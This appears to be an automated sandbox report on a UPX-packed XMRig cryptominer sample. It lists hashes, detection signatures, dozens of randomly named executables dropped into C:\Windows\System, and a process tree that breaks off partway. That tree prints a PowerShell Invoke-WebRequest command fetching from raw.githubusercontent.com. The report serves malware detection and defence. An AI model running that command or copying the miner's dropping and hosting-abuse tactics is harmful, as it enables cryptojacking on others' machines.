xmrig | 6a0ce0023ccf852cf15892c96797f1b052b45712bb94ff8a026b0b4b760211ed

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28/04/2024, 02:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
Size

2.3MB
MD5

042ea87c0aec0457f4eac03b5bd800ff
SHA1

93176b7e861fad083b8d1a7a04204f7fec27906b
SHA256

6a0ce0023ccf852cf15892c96797f1b052b45712bb94ff8a026b0b4b760211ed
SHA512

11fe2fafd9b45929043c1cfa6df453b76666c25d40563fa862fc5508227c0ee278ff1ff95145f8e5cb8c38bc38bc52aa29916877fdd921d825a36d245b4e4bd4
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pCkc30JqMopiqJ:NABk

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/4976-165-0x00007FF6767A0000-0x00007FF676B92000-memory.dmp	xmrig
behavioral2/memory/436-172-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp	xmrig
behavioral2/memory/2520-179-0x00007FF6428F0000-0x00007FF642CE2000-memory.dmp	xmrig
behavioral2/memory/4568-180-0x00007FF6FF510000-0x00007FF6FF902000-memory.dmp	xmrig
behavioral2/memory/3036-178-0x00007FF699580000-0x00007FF699972000-memory.dmp	xmrig
behavioral2/memory/3604-176-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp	xmrig
behavioral2/memory/4776-175-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp	xmrig
behavioral2/memory/2460-174-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp	xmrig
behavioral2/memory/2256-173-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp	xmrig
behavioral2/memory/4988-171-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp	xmrig
behavioral2/memory/708-170-0x00007FF664790000-0x00007FF664B82000-memory.dmp	xmrig
behavioral2/memory/692-169-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp	xmrig
behavioral2/memory/2928-168-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp	xmrig
behavioral2/memory/4052-167-0x00007FF7B8FF0000-0x00007FF7B93E2000-memory.dmp	xmrig
behavioral2/memory/2732-155-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp	xmrig
behavioral2/memory/4280-137-0x00007FF791490000-0x00007FF791882000-memory.dmp	xmrig
behavioral2/memory/4692-133-0x00007FF6E1D70000-0x00007FF6E2162000-memory.dmp	xmrig
behavioral2/memory/2848-112-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp	xmrig
behavioral2/memory/2612-101-0x00007FF7EFA30000-0x00007FF7EFE22000-memory.dmp	xmrig
behavioral2/memory/1860-74-0x00007FF7716F0000-0x00007FF771AE2000-memory.dmp	xmrig
behavioral2/memory/4088-65-0x00007FF7D32A0000-0x00007FF7D3692000-memory.dmp	xmrig
behavioral2/memory/2848-1676-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp	xmrig
behavioral2/memory/4776-1762-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp	xmrig
behavioral2/memory/2256-1793-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp	xmrig
behavioral2/memory/3604-1809-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp	xmrig
behavioral2/memory/2928-1794-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp	xmrig
behavioral2/memory/436-1778-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp	xmrig
behavioral2/memory/692-1769-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp	xmrig
behavioral2/memory/2460-1760-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp	xmrig
behavioral2/memory/4988-1757-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp	xmrig
behavioral2/memory/2732-1751-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp	xmrig
behavioral2/memory/4976-1747-0x00007FF6767A0000-0x00007FF676B92000-memory.dmp	xmrig
behavioral2/memory/2520-1743-0x00007FF6428F0000-0x00007FF642CE2000-memory.dmp	xmrig
behavioral2/memory/708-1756-0x00007FF664790000-0x00007FF664B82000-memory.dmp	xmrig
behavioral2/memory/4052-1754-0x00007FF7B8FF0000-0x00007FF7B93E2000-memory.dmp	xmrig
behavioral2/memory/1860-1699-0x00007FF7716F0000-0x00007FF771AE2000-memory.dmp	xmrig
behavioral2/memory/4088-1688-0x00007FF7D32A0000-0x00007FF7D3692000-memory.dmp	xmrig
behavioral2/memory/4568-1750-0x00007FF6FF510000-0x00007FF6FF902000-memory.dmp	xmrig
behavioral2/memory/4280-1680-0x00007FF791490000-0x00007FF791882000-memory.dmp	xmrig
behavioral2/memory/2612-1679-0x00007FF7EFA30000-0x00007FF7EFE22000-memory.dmp	xmrig
behavioral2/memory/4692-1675-0x00007FF6E1D70000-0x00007FF6E2162000-memory.dmp	xmrig
behavioral2/memory/3036-1741-0x00007FF699580000-0x00007FF699972000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	2892	powershell.exe
14	2892	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4088	LPIuVwD.exe
1860	RqHsSYl.exe
2612	OXAaFaQ.exe
2848	XKLdoXk.exe
4692	XZZAtAC.exe
4280	SThcAvU.exe
2732	aTHJMDi.exe
4976	tzymTeJ.exe
4052	aIxfqYv.exe
3036	lsiBFwX.exe
2928	qqTTAZi.exe
692	WdreFwR.exe
2520	dnmvJlw.exe
708	goBZfzv.exe
4988	RCibOjC.exe
436	DzfKZpp.exe
2256	Zvhladl.exe
2460	niCeKYv.exe
4776	pAJtnIl.exe
4568	ZMVXsRT.exe
3604	JYUqhHJ.exe
732	NJgYcQj.exe
1892	NpfwfDQ.exe
964	XBFXKqN.exe
976	PeGOiyG.exe
3520	NGWulFh.exe
3740	SpkTQtI.exe
4560	VIwqBvr.exe
4516	GAIXZKC.exe
2288	bKjaxhF.exe
452	aLObVat.exe
4592	oZFxTGs.exe
1116	Jywpmzg.exe
2352	iwhpAyx.exe
60	oikVGFT.exe
3096	EfdYrGi.exe
832	AIzWySo.exe
2112	uNvaANH.exe
3312	RKKlHTN.exe
2204	FlChKJh.exe
1964	EHZJnvx.exe
640	CLilGlF.exe
2388	faaMnyD.exe
2888	DMLCnZG.exe
3508	ZGZioxd.exe
404	luNBYca.exe
3628	HbfyPgi.exe
1668	zeeJMqR.exe
5004	VIuAuFg.exe
1300	KLKzWQO.exe
1040	tWhSDsp.exe
4968	jABDoTA.exe
1980	QMrKElo.exe
5132	lJSZFnw.exe
5148	KGAlWiU.exe
5212	gswTqKW.exe
5416	fCZJCdc.exe
5432	ZejcliC.exe
5448	ykxMZVH.exe
5464	rcxbJXz.exe
5480	zvBGBJo.exe
5348	KjbSLJf.exe
5544	nrfPrUW.exe
5560	YftzXVe.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4848-0-0x00007FF62D080000-0x00007FF62D472000-memory.dmp	upx
behavioral2/files/0x0008000000023256-5.dat	upx
behavioral2/files/0x0008000000023259-10.dat	upx
behavioral2/files/0x000800000002325c-9.dat	upx
behavioral2/files/0x000800000002325a-31.dat	upx
behavioral2/files/0x0007000000023264-63.dat	upx
behavioral2/files/0x0007000000023262-70.dat	upx
behavioral2/files/0x0007000000023267-78.dat	upx
behavioral2/files/0x0007000000023265-96.dat	upx
behavioral2/files/0x000700000002326e-109.dat	upx
behavioral2/files/0x0007000000023273-142.dat	upx
behavioral2/files/0x0007000000023278-158.dat	upx
behavioral2/memory/4976-165-0x00007FF6767A0000-0x00007FF676B92000-memory.dmp	upx
behavioral2/memory/436-172-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp	upx
behavioral2/memory/2520-179-0x00007FF6428F0000-0x00007FF642CE2000-memory.dmp	upx
behavioral2/memory/4568-180-0x00007FF6FF510000-0x00007FF6FF902000-memory.dmp	upx
behavioral2/memory/3036-178-0x00007FF699580000-0x00007FF699972000-memory.dmp	upx
behavioral2/files/0x0007000000023279-200.dat	upx
behavioral2/files/0x0007000000023276-195.dat	upx
behavioral2/files/0x0007000000023275-191.dat	upx
behavioral2/files/0x0007000000023274-189.dat	upx
behavioral2/files/0x0007000000023272-185.dat	upx
behavioral2/files/0x0007000000023277-183.dat	upx
behavioral2/memory/3604-176-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp	upx
behavioral2/memory/4776-175-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp	upx
behavioral2/memory/2460-174-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp	upx
behavioral2/memory/2256-173-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp	upx
behavioral2/memory/4988-171-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp	upx
behavioral2/memory/708-170-0x00007FF664790000-0x00007FF664B82000-memory.dmp	upx
behavioral2/memory/692-169-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp	upx
behavioral2/memory/2928-168-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp	upx
behavioral2/memory/4052-167-0x00007FF7B8FF0000-0x00007FF7B93E2000-memory.dmp	upx
behavioral2/files/0x0007000000023270-160.dat	upx
behavioral2/files/0x000700000002326f-159.dat	upx
behavioral2/memory/2732-155-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp	upx
behavioral2/files/0x000700000002326a-151.dat	upx
behavioral2/files/0x0007000000023271-146.dat	upx
behavioral2/memory/4280-137-0x00007FF791490000-0x00007FF791882000-memory.dmp	upx
behavioral2/memory/4692-133-0x00007FF6E1D70000-0x00007FF6E2162000-memory.dmp	upx
behavioral2/files/0x000700000002326c-129.dat	upx
behavioral2/files/0x0007000000023268-125.dat	upx
behavioral2/files/0x000700000002326b-120.dat	upx
behavioral2/files/0x0007000000023269-118.dat	upx
behavioral2/memory/2848-112-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp	upx
behavioral2/files/0x000700000002326d-104.dat	upx
behavioral2/memory/2612-101-0x00007FF7EFA30000-0x00007FF7EFE22000-memory.dmp	upx
behavioral2/files/0x0007000000023266-100.dat	upx
behavioral2/files/0x0007000000023263-89.dat	upx
behavioral2/memory/1860-74-0x00007FF7716F0000-0x00007FF771AE2000-memory.dmp	upx
behavioral2/memory/4088-65-0x00007FF7D32A0000-0x00007FF7D3692000-memory.dmp	upx
behavioral2/files/0x000900000002325e-61.dat	upx
behavioral2/files/0x0007000000023261-59.dat	upx
behavioral2/files/0x000800000002325f-39.dat	upx
behavioral2/files/0x0007000000023260-35.dat	upx
behavioral2/memory/2848-1676-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp	upx
behavioral2/memory/4776-1762-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp	upx
behavioral2/memory/2256-1793-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp	upx
behavioral2/memory/3604-1809-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp	upx
behavioral2/memory/2928-1794-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp	upx
behavioral2/memory/436-1778-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp	upx
behavioral2/memory/692-1769-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp	upx
behavioral2/memory/2460-1760-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp	upx
behavioral2/memory/4988-1757-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp	upx
behavioral2/memory/2732-1751-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\iErEHAT.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\wXUjWDF.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\SMqimnY.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\oUWfFlp.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\XZZAtAC.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\zEIBRjb.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\ziaGaxU.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\cpqMhlI.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\orUZmyb.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\FAlQHnR.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\fzTwihS.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\iwhpAyx.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\GWgtnYP.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\SoUTiYc.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\OHhRfnW.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\LbnYkmW.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\gUqIVBG.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\rVLScWU.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\yCVqdxd.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\CVYaJqb.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\zZEcJYX.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\UVcygSQ.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\eRPVFUB.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\MwwFuCa.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\LXLhmOV.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\iIUlNwU.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\iRpBALi.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\LPIuVwD.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\RJIilIg.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\XVFIoPA.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\oLPUGwv.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\OQIwpGB.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\WTrGFuG.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\FlChKJh.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\EDQdnwZ.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\KiymSxb.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\NVRkXmT.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\vfuiitm.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\gKBGGpS.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\UoWMmxX.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\zWJDIrS.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\JByDvag.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\pzUViOx.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\KoHVVAX.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\vMpKnwb.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\FdxsOXR.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\ZVEKPXC.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\NlIzWRP.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\RdCalpe.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\rUKOHon.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\SyWbpph.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\dUYewRB.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\KfUQbnp.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\niCeKYv.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\cKXomMa.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\DFuOpaG.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\eyuYAwo.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\ZGZioxd.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\YsyQxKE.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\AqTcZrd.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\jABDoTA.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\qNYQjve.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\TyGLPUp.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
File created	C:\Windows\System\fugWOvz.exe	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeLockMemoryPrivilege	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4848 wrote to memory of 2892	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	91
PID 4848 wrote to memory of 2892	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	91
PID 4848 wrote to memory of 4088	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	92
PID 4848 wrote to memory of 4088	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	92
PID 4848 wrote to memory of 1860	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	93
PID 4848 wrote to memory of 1860	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	93
PID 4848 wrote to memory of 2612	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	94
PID 4848 wrote to memory of 2612	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	94
PID 4848 wrote to memory of 2848	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	95
PID 4848 wrote to memory of 2848	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	95
PID 4848 wrote to memory of 4692	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	96
PID 4848 wrote to memory of 4692	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	96
PID 4848 wrote to memory of 4280	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	97
PID 4848 wrote to memory of 4280	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	97
PID 4848 wrote to memory of 2732	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	98
PID 4848 wrote to memory of 2732	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	98
PID 4848 wrote to memory of 4976	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	99
PID 4848 wrote to memory of 4976	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	99
PID 4848 wrote to memory of 4052	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	100
PID 4848 wrote to memory of 4052	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	100
PID 4848 wrote to memory of 3036	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	101
PID 4848 wrote to memory of 3036	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	101
PID 4848 wrote to memory of 2928	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	102
PID 4848 wrote to memory of 2928	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	102
PID 4848 wrote to memory of 692	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	103
PID 4848 wrote to memory of 692	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	103
PID 4848 wrote to memory of 2520	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	104
PID 4848 wrote to memory of 2520	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	104
PID 4848 wrote to memory of 708	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	105
PID 4848 wrote to memory of 708	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	105
PID 4848 wrote to memory of 2460	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	106
PID 4848 wrote to memory of 2460	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	106
PID 4848 wrote to memory of 4988	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	107
PID 4848 wrote to memory of 4988	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	107
PID 4848 wrote to memory of 436	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	108
PID 4848 wrote to memory of 436	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	108
PID 4848 wrote to memory of 2256	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	109
PID 4848 wrote to memory of 2256	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	109
PID 4848 wrote to memory of 4776	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	110
PID 4848 wrote to memory of 4776	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	110
PID 4848 wrote to memory of 4568	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	111
PID 4848 wrote to memory of 4568	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	111
PID 4848 wrote to memory of 3604	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	112
PID 4848 wrote to memory of 3604	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	112
PID 4848 wrote to memory of 732	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	113
PID 4848 wrote to memory of 732	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	113
PID 4848 wrote to memory of 1892	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	114
PID 4848 wrote to memory of 1892	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	114
PID 4848 wrote to memory of 964	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	115
PID 4848 wrote to memory of 964	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	115
PID 4848 wrote to memory of 976	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	116
PID 4848 wrote to memory of 976	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	116
PID 4848 wrote to memory of 3520	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	117
PID 4848 wrote to memory of 3520	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	117
PID 4848 wrote to memory of 3740	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	118
PID 4848 wrote to memory of 3740	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	118
PID 4848 wrote to memory of 4560	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	119
PID 4848 wrote to memory of 4560	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	119
PID 4848 wrote to memory of 4516	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	120
PID 4848 wrote to memory of 4516	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	120
PID 4848 wrote to memory of 2288	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	121
PID 4848 wrote to memory of 2288	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	121
PID 4848 wrote to memory of 452	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	122
PID 4848 wrote to memory of 452	4848	042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe	122

C:\Users\Admin\AppData\Local\Temp\042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\042ea87c0aec0457f4eac03b5bd800ff_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System\LPIuVwD.exe
  C:\Windows\System\LPIuVwD.exe
  2⤵
  - Executes dropped EXE
  PID:4088
- C:\Windows\System\RqHsSYl.exe
  C:\Windows\System\RqHsSYl.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\OXAaFaQ.exe
  C:\Windows\System\OXAaFaQ.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\XKLdoXk.exe
  C:\Windows\System\XKLdoXk.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\XZZAtAC.exe
  C:\Windows\System\XZZAtAC.exe
  2⤵
  - Executes dropped EXE
  PID:4692
- C:\Windows\System\SThcAvU.exe
  C:\Windows\System\SThcAvU.exe
  2⤵
  - Executes dropped EXE
  PID:4280
- C:\Windows\System\aTHJMDi.exe
  C:\Windows\System\aTHJMDi.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\tzymTeJ.exe
  C:\Windows\System\tzymTeJ.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- C:\Windows\System\aIxfqYv.exe
  C:\Windows\System\aIxfqYv.exe
  2⤵
  - Executes dropped EXE
  PID:4052
- C:\Windows\System\lsiBFwX.exe
  C:\Windows\System\lsiBFwX.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\qqTTAZi.exe
  C:\Windows\System\qqTTAZi.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\WdreFwR.exe
  C:\Windows\System\WdreFwR.exe
  2⤵
  - Executes dropped EXE
  PID:692
- C:\Windows\System\dnmvJlw.exe
  C:\Windows\System\dnmvJlw.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\goBZfzv.exe
  C:\Windows\System\goBZfzv.exe
